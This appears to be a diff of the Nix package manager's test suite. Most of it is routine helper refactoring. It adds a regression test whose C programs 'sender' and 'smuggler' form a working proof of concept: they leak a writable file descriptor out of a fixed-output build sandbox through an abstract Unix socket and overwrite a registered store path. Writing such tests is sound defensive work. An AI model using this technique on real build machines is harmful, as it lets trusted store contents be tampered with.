echo "output closure contains $deps"
# The output path should be in the closure.
echo "$deps" | grep -q "$outPath"
echo "$deps" | grepQuiet "$outPath"
# Input-1 is not retained.
if echo "$deps" | grep -q "dependencies-input-1"; then exit 1; fi
if echo "$deps" | grepQuiet "dependencies-input-1"; then exit 1; fi
# Input-2 is retained.
input2OutPath=$(echo "$deps" | grep "dependencies-input-2")
@@ -49,4 +49,4 @@ nix-store -q --referrers-closure "$input2OutPath" | grep "$outPath"
# Check that the derivers are set properly.
test $(nix-store -q --deriver "$outPath") = "$drvPath"
nix-store -q --deriver "$input2OutPath" | grep -q -- "-input-2.drv"
nix-store -q --deriver "$input2OutPath" | grepQuiet -- "-input-2.drv"
+2
View File
@@ -1,5 +1,7 @@
source common.sh
needLocalStore "--dump-db requires a local store"
clearStore
path=$(nix-build dependencies.nix -o $TEST_ROOT/result)
+1 -1
View File
@@ -4,7 +4,7 @@ clearStore
clearProfiles
checkRef() {
nix-store -q --references $TEST_ROOT/result | grep -q "$1" || fail "missing reference $1"
nix-store -q --references $TEST_ROOT/result | grepQuiet "$1"'$' || fail "missing reference $1"
}
# Test the export of the runtime dependency graph.
+1 -1
View File
@@ -60,7 +60,7 @@ hash=$(nix-hash --flat --type sha256 $nar)
outPath=$(nix-build '<nix/fetchurl.nix>' --argstr url file://$nar --argstr sha256 $hash \
--arg unpack true --argstr name xyzzy --no-out-link)
echo $outPath | grep -q 'xyzzy'
echo $outPath | grepQuiet 'xyzzy'
test -x $outPath/fetchurl.sh
test -L $outPath/symlink
-3
View File
@@ -2,9 +2,6 @@ source common.sh
clearStore
export IMPURE_VAR1=foo
export IMPURE_VAR2=bar
path=$(nix-store -q $(nix-instantiate fixed.nix -A good.0))
echo 'testing bad...'
+4 -8
View File
@@ -10,17 +10,15 @@ expect_trace() {
--trace-function-calls \
--expr "$expr" 2>&1 \
| grep "function-trace" \
| sed -e 's/ [0-9]*$//'
);
| sed -e 's/ [0-9]*$//' \
|| true
)
echo -n "Tracing expression '$expr'"
set +e
msg=$(diff -swB \
<(echo "$expect") \
<(echo "$actual")
);
result=$?
set -e
) && result=0 || result=$?
if [ $result -eq 0 ]; then
echo " ok."
else
@@ -81,5 +79,3 @@ function-trace exited undefined position at
function-trace entered (string):1:1 at
function-trace exited (string):1:1 at
"
set -e
+2
View File
@@ -1,5 +1,7 @@
source common.sh
needLocalStore "“min-free” and “max-free” are daemon options"
clearStore
garbage1=$(nix add-to-store --name garbage1 ./nar-access.sh)
+1 -1
View File
@@ -2,7 +2,7 @@ source common.sh
try () {
printf "%s" "$2" > $TEST_ROOT/vector
hash=$(nix hash-file --base16 $EXTRA --type "$1" $TEST_ROOT/vector)
hash=$(nix hash-file --base16 ${EXTRA-} --type "$1" $TEST_ROOT/vector)
if test "$hash" != "$3"; then
echo "hash $1, expected $3, got $hash"
exit 1
Regular → Executable
+7
View File
@@ -1,8 +1,14 @@
set -eu -o pipefail
source common.sh
test -n "$TEST_ROOT"
if test -d "$TEST_ROOT"; then
chmod -R u+w "$TEST_ROOT"
# We would delete any daemon socket, so let's stop the daemon first.
if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then
killDaemon
fi
rm -rf "$TEST_ROOT"
fi
mkdir "$TEST_ROOT"
@@ -18,6 +24,7 @@ build-users-group =
keep-derivations = false
sandbox = false
include nix.conf.extra
trusted-users = $(whoami)
EOF
cat > "$NIX_CONF_DIR"/nix.conf.extra <<EOF
+3 -3
View File
@@ -2,9 +2,9 @@ source common.sh
export TEST_VAR=foo # for eval-okay-getenv.nix
nix-instantiate --eval -E 'builtins.trace "Hello" 123' 2>&1 | grep -q Hello
(! nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" 123' 2>&1 | grep -q Hello)
nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" (throw "Foo")' 2>&1 | grep -q Hello
nix-instantiate --eval -E 'builtins.trace "Hello" 123' 2>&1 | grepQuiet Hello
nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" 123' 2>&1 | grepQuietInverse Hello
expectStderr 1 nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" (throw "Foo")' 2>&1 | grepQuiet Hello
set +x
+1 -1
View File
@@ -1 +1 @@
"This is an indented multi-line string\nliteral. An amount of whitespace at\nthe start of each line matching the minimum\nindentation of all lines in the string\nliteral together will be removed. Thus,\nin this case four spaces will be\nstripped from each line, even though\n THIS LINE is indented six spaces.\n\nAlso, empty lines don't count in the\ndetermination of the indentation level (the\nprevious empty line has indentation 0, but\nit doesn't matter).\nIf the string starts with whitespace\n followed by a newline, it's stripped, but\n that's not the case here. Two spaces are\n stripped because of the \" \" at the start. \nThis line is indented\na bit further.\nAnti-quotations, like so, are\nalso allowed.\n The \\ is not special here.\n' can be followed by any character except another ', e.g. 'x'.\nLikewise for $, e.g. $$ or $varName.\nBut ' followed by ' is special, as is $ followed by {.\nIf you want them, use anti-quotations: '', ${.\n Tabs are not interpreted as whitespace (since we can't guess\n what tab settings are intended), so don't use them.\n\tThis line starts with a space and a tab, so only one\n space will be stripped from each line.\nAlso note that if the last line (just before the closing ' ')\nconsists only of whitespace, it's ignored. But here there is\nsome non-whitespace stuff, so the line isn't removed. \nThis shows a hacky way to preserve an empty line after the start.\nBut there's no reason to do so: you could just repeat the empty\nline.\n Similarly you can force an indentation level,\n in this case to 2 spaces. This works because the anti-quote\n is significant (not whitespace).\nstart on network-interfaces\n\nstart script\n\n rm -f /var/run/opengl-driver\n ln -sf 123 /var/run/opengl-driver\n\n rm -f /var/log/slim.log\n \nend script\n\nenv SLIM_CFGFILE=abc\nenv SLIM_THEMESDIR=def\nenv FONTCONFIG_FILE=/etc/fonts/fonts.conf \t\t\t\t# !!! cleanup\nenv XKB_BINDIR=foo/bin \t\t\t\t# Needed for the Xkb extension.\nenv LD_LIBRARY_PATH=libX11/lib:libXext/lib:/usr/lib/ # related to xorg-sys-opengl - needed to load libglx for (AI)GLX support (for compiz)\n\nenv XORG_DRI_DRIVER_PATH=nvidiaDrivers/X11R6/lib/modules/drivers/ \n\nexec slim/bin/slim\nEscaping of ' followed by ': ''\nEscaping of $ followed by {: ${\nAnd finally to interpret \\n etc. as in a string: \n, \r, \t.\nfoo\n'bla'\nbar\ncut -d $'\\t' -f 1\nending dollar $$\n"
"This is an indented multi-line string\nliteral. An amount of whitespace at\nthe start of each line matching the minimum\nindentation of all lines in the string\nliteral together will be removed. Thus,\nin this case four spaces will be\nstripped from each line, even though\n THIS LINE is indented six spaces.\n\nAlso, empty lines don't count in the\ndetermination of the indentation level (the\nprevious empty line has indentation 0, but\nit doesn't matter).\nIf the string starts with whitespace\n followed by a newline, it's stripped, but\n that's not the case here. Two spaces are\n stripped because of the \" \" at the start. \nThis line is indented\na bit further.\nAnti-quotations, like so, are\nalso allowed.\n The \\ is not special here.\n' can be followed by any character except another ', e.g. 'x'.\nLikewise for $, e.g. $$ or $varName.\nBut ' followed by ' is special, as is $ followed by {.\nIf you want them, use anti-quotations: '', \${.\n Tabs are not interpreted as whitespace (since we can't guess\n what tab settings are intended), so don't use them.\n\tThis line starts with a space and a tab, so only one\n space will be stripped from each line.\nAlso note that if the last line (just before the closing ' ')\nconsists only of whitespace, it's ignored. But here there is\nsome non-whitespace stuff, so the line isn't removed. \nThis shows a hacky way to preserve an empty line after the start.\nBut there's no reason to do so: you could just repeat the empty\nline.\n Similarly you can force an indentation level,\n in this case to 2 spaces. This works because the anti-quote\n is significant (not whitespace).\nstart on network-interfaces\n\nstart script\n\n rm -f /var/run/opengl-driver\n ln -sf 123 /var/run/opengl-driver\n\n rm -f /var/log/slim.log\n \nend script\n\nenv SLIM_CFGFILE=abc\nenv SLIM_THEMESDIR=def\nenv FONTCONFIG_FILE=/etc/fonts/fonts.conf \t\t\t\t# !!! cleanup\nenv XKB_BINDIR=foo/bin \t\t\t\t# Needed for the Xkb extension.\nenv LD_LIBRARY_PATH=libX11/lib:libXext/lib:/usr/lib/ # related to xorg-sys-opengl - needed to load libglx for (AI)GLX support (for compiz)\n\nenv XORG_DRI_DRIVER_PATH=nvidiaDrivers/X11R6/lib/modules/drivers/ \n\nexec slim/bin/slim\nEscaping of ' followed by ': ''\nEscaping of $ followed by {: \${\nAnd finally to interpret \\n etc. as in a string: \n, \r, \t.\nfoo\n'bla'\nbar\ncut -d $'\\t' -f 1\nending dollar $$\n"
+2
View File
@@ -1,5 +1,7 @@
source common.sh
needLocalStore "the sandbox only runs on the builder side, so it makes no sense to test it with the daemon"
clearStore
if ! canUseSandbox; then exit; fi
+13 -3
View File
@@ -1,6 +1,10 @@
check:
@echo "Warning: Nix has no 'make check'. Please install Nix and run 'make installcheck' instead."
# whether to run the tests that assume that we have a local build of
# Nix
HAVE_LOCAL_NIX_BUILD ?= 1
nix_tests = \
init.sh hash.sh lang.sh add.sh simple.sh dependencies.sh \
gc.sh \
@@ -27,17 +31,23 @@ nix_tests = \
brotli.sh \
pure-eval.sh \
check.sh \
plugins.sh \
search.sh \
nix-copy-ssh.sh \
post-hook.sh \
function-trace.sh
function-trace.sh \
test-infra.sh \
# parallel.sh
ifeq ($(HAVE_LOCAL_NIX_BUILD), 1)
nix_tests += plugins.sh
endif
tests/plugins.sh.test: tests/plugins/libplugintest.$(SO_EXT)
install-tests += $(foreach x, $(nix_tests), tests/$(x))
tests-environment = NIX_REMOTE= $(bash) -e
clean-files += $(d)/common.sh
installcheck: $(d)/common.sh $(d)/plugins/libplugintest.$(SO_EXT)
test-deps += tests/common.sh
+7 -7
View File
@@ -3,17 +3,17 @@ source common.sh
# Tests miscellaneous commands.
# Do all commands have help?
#nix-env --help | grep -q install
#nix-store --help | grep -q realise
#nix-instantiate --help | grep -q eval
#nix-hash --help | grep -q base32
#nix-env --help | grepQuiet install
#nix-store --help | grepQuiet realise
#nix-instantiate --help | grepQuiet eval
#nix-hash --help | grepQuiet base32
# Can we ask for the version number?
nix-env --version | grep "$version"
# Usage errors.
nix-env --foo 2>&1 | grep "no operation"
nix-env -q --foo 2>&1 | grep "unknown flag"
expect 1 nix-env --foo 2>&1 | grep "no operation"
expect 1 nix-env -q --foo 2>&1 | grep "unknown flag"
# Eval Errors.
nix-instantiate --eval -E 'let a = {} // a; in a.foo' 2>&1 | grep "infinite recursion encountered, at .*(string).*:1:15$"
expect 1 nix-instantiate --eval -E 'let a = {} // a; in a.foo' 2>&1 | grep "infinite recursion encountered, at .*(string).*:1:15$"
+3 -3
View File
@@ -13,8 +13,8 @@ echo "evaluating c..."
# outputs.
drvPath=$(nix-instantiate multiple-outputs.nix -A c)
#[ "$drvPath" = "$drvPath2" ]
grep -q 'multiple-outputs-a.drv",\["first","second"\]' $drvPath
grep -q 'multiple-outputs-b.drv",\["out"\]' $drvPath
grepQuiet 'multiple-outputs-a.drv",\["first","second"\]' $drvPath
grepQuiet 'multiple-outputs-b.drv",\["out"\]' $drvPath
# While we're at it, test the ‘unsafeDiscardOutputDependency’ primop.
outPath=$(nix-build multiple-outputs.nix -A d --no-out-link)
@@ -52,7 +52,7 @@ outPath2=$(nix-build $(nix-instantiate multiple-outputs.nix -A a.second) --no-ou
# Delete one of the outputs and rebuild it. This will cause a hash
# rewrite.
nix-store --delete $TEST_ROOT/result-second --ignore-liveness
env -u NIX_REMOTE nix-store --delete $TEST_ROOT/result-second --ignore-liveness
nix-build multiple-outputs.nix -A a.all -o $TEST_ROOT/result
[ "$(cat $TEST_ROOT/result-second/file)" = "second" ]
[ "$(cat $TEST_ROOT/result-second/link/file)" = "first" ]
+2 -2
View File
@@ -34,8 +34,8 @@ diff -u baz.cat-nar $storePath/foo/baz
[[ $(nix ls-store --json -R $storePath/foo/bar) = '{"type":"regular","size":0}' ]]
# Test missing files.
nix ls-store --json -R $storePath/xyzzy 2>&1 | grep 'does not exist in NAR'
nix ls-store $storePath/xyzzy 2>&1 | grep 'does not exist'
expect 1 nix ls-store --json -R $storePath/xyzzy 2>&1 | grep 'does not exist in NAR'
expect 1 nix ls-store $storePath/xyzzy 2>&1 | grep 'does not exist'
# Test failure to dump.
if nix-store --dump $storePath >/dev/full ; then
+5 -5
View File
@@ -6,7 +6,7 @@ rm -f $TEST_HOME/.nix-channels $TEST_HOME/.nix-profile
# Test add/list/remove.
nix-channel --add http://foo/bar xyzzy
nix-channel --list | grep -q http://foo/bar
nix-channel --list | grepQuiet http://foo/bar
nix-channel --remove xyzzy
[ -e $TEST_HOME/.nix-channels ]
@@ -31,8 +31,8 @@ nix-env -qa \* --meta --xml --out-path > $TEST_ROOT/meta.xml
if [ "$xmllint" != false ]; then
$xmllint --noout $TEST_ROOT/meta.xml || fail "malformed XML"
fi
grep -q 'meta.*description.*Random test package' $TEST_ROOT/meta.xml
grep -q 'item.*attrPath="foo".*name="dependencies"' $TEST_ROOT/meta.xml
grepQuiet 'meta.*description.*Random test package' $TEST_ROOT/meta.xml
grepQuiet 'item.*attrPath="foo".*name="dependencies"' $TEST_ROOT/meta.xml
# Do an install.
nix-env -i dependencies
@@ -50,8 +50,8 @@ nix-env -qa \* --meta --xml --out-path > $TEST_ROOT/meta.xml
if [ "$xmllint" != false ]; then
$xmllint --noout $TEST_ROOT/meta.xml || fail "malformed XML"
fi
grep -q 'meta.*description.*Random test package' $TEST_ROOT/meta.xml
grep -q 'item.*attrPath="foo".*name="dependencies"' $TEST_ROOT/meta.xml
grepQuiet 'meta.*description.*Random test package' $TEST_ROOT/meta.xml
grepQuiet 'item.*attrPath="foo".*name="dependencies"' $TEST_ROOT/meta.xml
# Do an install.
nix-env -i dependencies
+93
View File
@@ -0,0 +1,93 @@
# Nix is a sandboxed build system. But Not everything can be handled inside its
# sandbox: Network access is normally blocked off, but to download sources, a
# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
# The detail here is not important, but in our case it means that the hash of
# the output has to be known beforehand. And if you know that, you get a few
# rights: you no longer run inside a special network namespace!
#
# Now, Linux has a special feature, that not many other unices do: Abstract
# unix domain sockets! Not only that, but those are namespaced using the
# network namespace! That means that we have a way to create sockets that are
# available in every single fixed-output derivation, and also all processes
# running on the host machine! Now, this wouldn't be that much of an issue, as,
# well, the whole idea is that the output is pure, and all processes in the
# sandbox are killed before finalizing the output. What if we didn't need those
# processes at all? Unix domain sockets have a semi-known trick: you can pass
# file descriptors around!
# This makes it possible to exfiltrate a file-descriptor with write access to
# $out outside of the sandbox. And that file-descriptor can be used to modify
# the contents of the store path after it has been registered.
{ nixpkgs, system, nix }:
with import (nixpkgs + "/nixos/lib/testing-python.nix") {
inherit system;
};
let
# Simple C program that sends a a file descriptor to `$out` to a Unix
# domain socket.
# Compiled statically so that we can easily send it to the VM and use it
# inside the build sandbox.
sender = pkgs.runCommandWith {
name = "sender";
stdenv = pkgs.pkgsStatic.stdenv;
} ''
$CC -static -o $out ${./sender.c}
'';
# Okay, so we have a file descriptor shipped out of the FOD now. But the
# Nix store is read-only, right? .. Well, yeah. But this file descriptor
# lives in a mount namespace where it is not! So even when this file exists
# in the actual Nix store, we're capable of just modifying its contents...
smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
# The abstract socket path used to exfiltrate the file descriptor
socketName = "FODSandboxExfiltrationSocket";
in
makeTest {
name = "ca-fd-leak";
nodes.machine =
{ config, lib, pkgs, ... }:
{ virtualisation.writableStore = true;
virtualisation.pathsInNixDB = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
nix.binaryCaches = [ ];
nix.package = nix;
};
testScript = { nodes }: ''
start_all()
machine.succeed("echo hello")
# Start the smuggler server
machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
# Build the smuggled derivation.
# This will connect to the smuggler server and send it the file descriptor
machine.succeed(r"""
nix-build -E '
builtins.derivation {
name = "smuggled";
system = builtins.currentSystem;
# look ma, no tricks!
outputHashMode = "flat";
outputHashAlgo = "sha256";
outputHash = builtins.hashString "sha256" "hello, world\n";
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
}'
""".strip())
# Tell the smuggler server that we're done
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
# Check that the file was not modified
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
""".strip())
'';
}
+65
View File
@@ -0,0 +1,65 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
int main(int argc, char **argv) {
assert(argc == 2);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Set up a abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);
// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror("connect");
if (errno != ECONNREFUSED) break;
}
// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = "";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror("sendmsg");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}
+66
View File
@@ -0,0 +1,66 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
int main(int argc, char **argv) {
assert(argc == 2);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0) perror("bind");
res = listen(sock, 1);
if (res < 0) perror("listen");
int smuggling_fd = -1;
// Accept the connection a first time to receive the file descriptor.
fprintf(stderr, "%s\n", "Waiting for the first connection");
int a = accept(sock, 0, 0);
if (a < 0) perror("accept");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
// Grab the copy of the file descriptor.
memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
}
hdr = CMSG_NXTHDR(&msg, hdr);
}
fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
close(a);
// Wait for a second connection, which will tell us that the build is
// done
a = accept(sock, 0, 0);
fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
// Write a new content to the file
if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
char * new_content = "Pwned\n";
int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
if (written_bytes != strlen(new_content)) perror("write");
}
+2 -1
View File
@@ -26,7 +26,8 @@ if [ "$inode1" = "$inode3" ]; then
exit 1
fi
nix-store --optimise
# XXX: This should work through the daemon too
NIX_REMOTE="" nix-store --optimise
inode1="$(stat --format=%i $outPath1/foo)"
inode3="$(stat --format=%i $outPath3/foo)"
+5
View File
@@ -2,7 +2,12 @@ source common.sh
clearStore
rm -f $TEST_ROOT/result
export REMOTE_STORE=$TEST_ROOT/remote_store
echo 'require-sigs = false' >> $NIX_CONF_DIR/nix.conf
restartDaemon
# Build the dependencies and push them to the remote store
nix-build -o $TEST_ROOT/result dependencies.nix --post-build-hook $PWD/push-to-store.sh
+2
View File
@@ -1,5 +1,7 @@
source common.sh
needLocalStore "uses some low-level store manipulations that aren’t available through the daemon"
clearStore
max=500
+6 -3
View File
@@ -2,16 +2,19 @@ source common.sh
clearStore
# Ensure "fake ssh" remote store works just as legacy fake ssh would.
nix --store ssh-ng://localhost?remote-store=$TEST_ROOT/other-store doctor
startDaemon
storeCleared=1 $SHELL ./user-envs.sh
storeCleared=1 NIX_REMOTE_=$NIX_REMOTE $SHELL ./user-envs.sh
nix-store --gc --max-freed 1K
nix-store --dump-db > $TEST_ROOT/d1
NIX_REMOTE= nix-store --dump-db > $TEST_ROOT/d2
cmp $TEST_ROOT/d1 $TEST_ROOT/d2
nix-store --gc --max-freed 1K
killDaemon
user=$(whoami)
+2
View File
@@ -1,5 +1,7 @@
source common.sh
needLocalStore "--repair needs a local store"
clearStore
path=$(nix-build dependencies.nix -o $TEST_ROOT/result)
+3 -3
View File
@@ -38,6 +38,6 @@ clearCache
## Search expressions
# Check that empty search string matches all
nix search|grep -q foo
nix search|grep -q bar
nix search|grep -q hello
nix search|grepQuiet foo
nix search|grepQuiet bar
nix search|grepQuiet hello
+6
View File
@@ -38,6 +38,12 @@ mkDerivation {
[[ $json =~ '"narSize":288' ]]
[[ $json =~ '"closureSize":288' ]]
[[ $json =~ '"references":[]' ]]
[[ -e "$NIX_ATTRS_SH_FILE" ]]
[[ -e "$NIX_ATTRS_JSON_FILE" ]]
[[ "$(<"$NIX_ATTRS_SH_FILE")" = "$(<.attrs.sh)" ]]
[[ "$(<"$NIX_ATTRS_JSON_FILE")" = "$(<.attrs.json)" ]]
'';
buildInputs = [ "a" "b" "c" 123 "'" "\"" null ];
+4
View File
@@ -1,5 +1,9 @@
source common.sh
# 27ce722638 required some incompatible changes to the nix file, so skip this
# tests for the newer versions
requireDaemonOlderThan "2.4pre20210622"
clearStore
outPath=$(nix-build structured-attrs.nix --no-out-link)
+2 -2
View File
@@ -11,9 +11,9 @@ cp dependencies.nix $tarroot/default.nix
cp config.nix dependencies.builder*.sh $tarroot/
tarball=$TEST_ROOT/tarball.tar.xz
(cd $TEST_ROOT && tar c tarball) | xz > $tarball
(cd $TEST_ROOT && tar cf - tarball) | xz > $tarball
nix-env -f file://$tarball -qa --out-path | grep -q dependencies
nix-env -f file://$tarball -qa --out-path | grepQuiet dependencies
nix-build -o $TEST_ROOT/result file://$tarball
+85
View File
@@ -0,0 +1,85 @@
# Test the functions for testing themselves!
# Also test some assumptions on how bash works that they rely on.
source common.sh
# `true` should exit with 0
expect 0 true
# `false` should exit with 1
expect 1 false
# `expect` will fail when we get it wrong
expect 1 expect 0 false
noisyTrue () {
echo YAY! >&2
true
}
noisyFalse () {
echo NAY! >&2
false
}
# These should redirect standard error to standard output
expectStderr 0 noisyTrue | grepQuiet YAY
expectStderr 1 noisyFalse | grepQuiet NAY
# `set -o pipefile` is enabled
pipefailure () {
# shellcheck disable=SC2216
true | false | true
}
expect 1 pipefailure
unset pipefailure
pipefailure () {
# shellcheck disable=SC2216
false | true | true
}
expect 1 pipefailure
unset pipefailure
commandSubstitutionPipeFailure () {
# shellcheck disable=SC2216
res=$(set -eu -o pipefail; false | true | echo 0)
}
expect 1 commandSubstitutionPipeFailure
# `set -u` is enabled
# note (...), making function use subshell, as unbound variable errors
# in the outer shell are *rightly* not recoverable.
useUnbound () (
set -eu
# shellcheck disable=SC2154
echo "$thisVariableIsNotBound"
)
expect 1 useUnbound
# ! alone unfortunately negates `set -e`, but it works in functions:
# shellcheck disable=SC2251
! true
funBang () {
! true
}
expect 1 funBang
unset funBang
# `grep -v -q` is not what we want for exit codes, but `grepInverse` is
# Avoid `grep -v -q`. The following line proves the point, and if it fails,
# we'll know that `grep` had a breaking change or `-v -q` may not be portable.
{ echo foo; echo bar; } | grep -v -q foo
{ echo foo; echo bar; } | expect 1 grepInverse foo
# `grepQuiet` is quiet
res=$(set -eu -o pipefail; echo foo | grepQuiet foo | wc -c)
(( res == 0 ))
unset res
# `greqQietInverse` is both
{ echo foo; echo bar; } | expect 1 grepQuietInverse foo
res=$(set -eu -o pipefail; echo foo | expect 1 grepQuietInverse foo | wc -c)
(( res == 0 ))
unset res
+4 -5
View File
@@ -2,18 +2,17 @@
source common.sh
# XXX: This shouldn’t be, but #4813 cause this test to fail
needLocalStore "see #4813"
set +e
messages=$(nix-build -Q timeout.nix -A infiniteLoop --timeout 2 2>&1)
status=$?
set -e
messages=$(nix-build -Q timeout.nix -A infiniteLoop --timeout 2 2>&1) && status=0 || status=$?
if [ $status -ne 101 ]; then
echo "error: 'nix-store' exited with '$status'; should have exited 101"
exit 1
fi
if ! echo "$messages" | grep -q "timed out"; then
if echo "$messages" | grepQuietInvert "timed out"; then
echo "error: build may have failed for reasons other than timeout; output:"
echo "$messages" >&2
exit 1
+1 -1
View File
@@ -13,7 +13,7 @@ let
builder = ./user-envs.builder.sh;
} // {
meta = {
description = "A silly test package";
description = "A silly test package with some \${escaped anti-quotation} in it";
};
});
+25 -25
View File
@@ -1,6 +1,6 @@
source common.sh
if [ -z "$storeCleared" ]; then
if [ -z "${storeCleared-}" ]; then
clearStore
fi
@@ -19,13 +19,13 @@ drvPath10=$(nix-env -f ./user-envs.nix -qa --drv-path --no-name '*' | grep foo-1
[ -n "$outPath10" -a -n "$drvPath10" ]
# Query descriptions.
nix-env -f ./user-envs.nix -qa '*' --description | grep -q silly
nix-env -f ./user-envs.nix -qa '*' --description | grepQuiet silly
rm -rf $HOME/.nix-defexpr
ln -s $(pwd)/user-envs.nix $HOME/.nix-defexpr
nix-env -qa '*' --description | grep -q silly
nix-env -qa '*' --description | grepQuiet silly
# Query the system.
nix-env -qa '*' --system | grep -q $system
nix-env -qa '*' --system | grepQuiet $system
# Install "foo-1.0".
nix-env -i foo-1.0
@@ -33,19 +33,19 @@ nix-env -i foo-1.0
# Query installed: should contain foo-1.0 now (which should be
# executable).
test "$(nix-env -q '*' | wc -l)" -eq 1
nix-env -q '*' | grep -q foo-1.0
nix-env -q '*' | grepQuiet foo-1.0
test "$($profiles/test/bin/foo)" = "foo-1.0"
# Test nix-env -qc to compare installed against available packages, and vice versa.
nix-env -qc '*' | grep -q '< 2.0'
nix-env -qac '*' | grep -q '> 1.0'
nix-env -qc '*' | grepQuiet '< 2.0'
nix-env -qac '*' | grepQuiet '> 1.0'
# Test the -b flag to filter out source-only packages.
[ "$(nix-env -qab | wc -l)" -eq 1 ]
# Test the -s flag to get package status.
nix-env -qas | grep -q 'IP- foo-1.0'
nix-env -qas | grep -q -- '--- bar-0.1'
nix-env -qas | grepQuiet 'IP- foo-1.0'
nix-env -qas | grepQuiet -- '--- bar-0.1'
# Disable foo.
nix-env --set-flag active false foo
@@ -65,15 +65,15 @@ nix-env -i foo-2.0pre1
# Query installed: should contain foo-2.0pre1 now.
test "$(nix-env -q '*' | wc -l)" -eq 1
nix-env -q '*' | grep -q foo-2.0pre1
nix-env -q '*' | grepQuiet foo-2.0pre1
test "$($profiles/test/bin/foo)" = "foo-2.0pre1"
# Upgrade "foo": should install foo-2.0.
NIX_PATH=nixpkgs=./user-envs.nix:$NIX_PATH nix-env -f '<nixpkgs>' -u foo
NIX_PATH=nixpkgs=./user-envs.nix:${NIX_PATH-} nix-env -f '<nixpkgs>' -u foo
# Query installed: should contain foo-2.0 now.
test "$(nix-env -q '*' | wc -l)" -eq 1
nix-env -q '*' | grep -q foo-2.0
nix-env -q '*' | grepQuiet foo-2.0
test "$($profiles/test/bin/foo)" = "foo-2.0"
# Store the path of foo-2.0.
@@ -85,20 +85,20 @@ nix-env -i bar-0.1
nix-env -e foo
# Query installed: should only contain bar-0.1 now.
if nix-env -q '*' | grep -q foo; then false; fi
nix-env -q '*' | grep -q bar
if nix-env -q '*' | grepQuiet foo; then false; fi
nix-env -q '*' | grepQuiet bar
# Rollback: should bring "foo" back.
oldGen="$(nix-store -q --resolve $profiles/test)"
nix-env --rollback
[ "$(nix-store -q --resolve $profiles/test)" != "$oldGen" ]
nix-env -q '*' | grep -q foo-2.0
nix-env -q '*' | grep -q bar
nix-env -q '*' | grepQuiet foo-2.0
nix-env -q '*' | grepQuiet bar
# Rollback again: should remove "bar".
nix-env --rollback
nix-env -q '*' | grep -q foo-2.0
if nix-env -q '*' | grep -q bar; then false; fi
nix-env -q '*' | grepQuiet foo-2.0
if nix-env -q '*' | grepQuiet bar; then false; fi
# Count generations.
nix-env --list-generations
@@ -120,7 +120,7 @@ nix-env --switch-generation 7
# Install foo-1.0, now using its store path.
nix-env -i "$outPath10"
nix-env -q '*' | grep -q foo-1.0
nix-env -q '*' | grepQuiet foo-1.0
nix-store -qR $profiles/test | grep "$outPath10"
nix-store -q --referrers-closure $profiles/test | grep "$(nix-store -q --resolve $profiles/test)"
[ "$(nix-store -q --deriver "$outPath10")" = $drvPath10 ]
@@ -128,12 +128,12 @@ nix-store -q --referrers-closure $profiles/test | grep "$(nix-store -q --resolve
# Uninstall foo-1.0, using a symlink to its store path.
ln -sfn $outPath10/bin/foo $TEST_ROOT/symlink
nix-env -e $TEST_ROOT/symlink
if nix-env -q '*' | grep -q foo; then false; fi
(! nix-store -qR $profiles/test | grep "$outPath10")
if nix-env -q '*' | grepQuiet foo; then false; fi
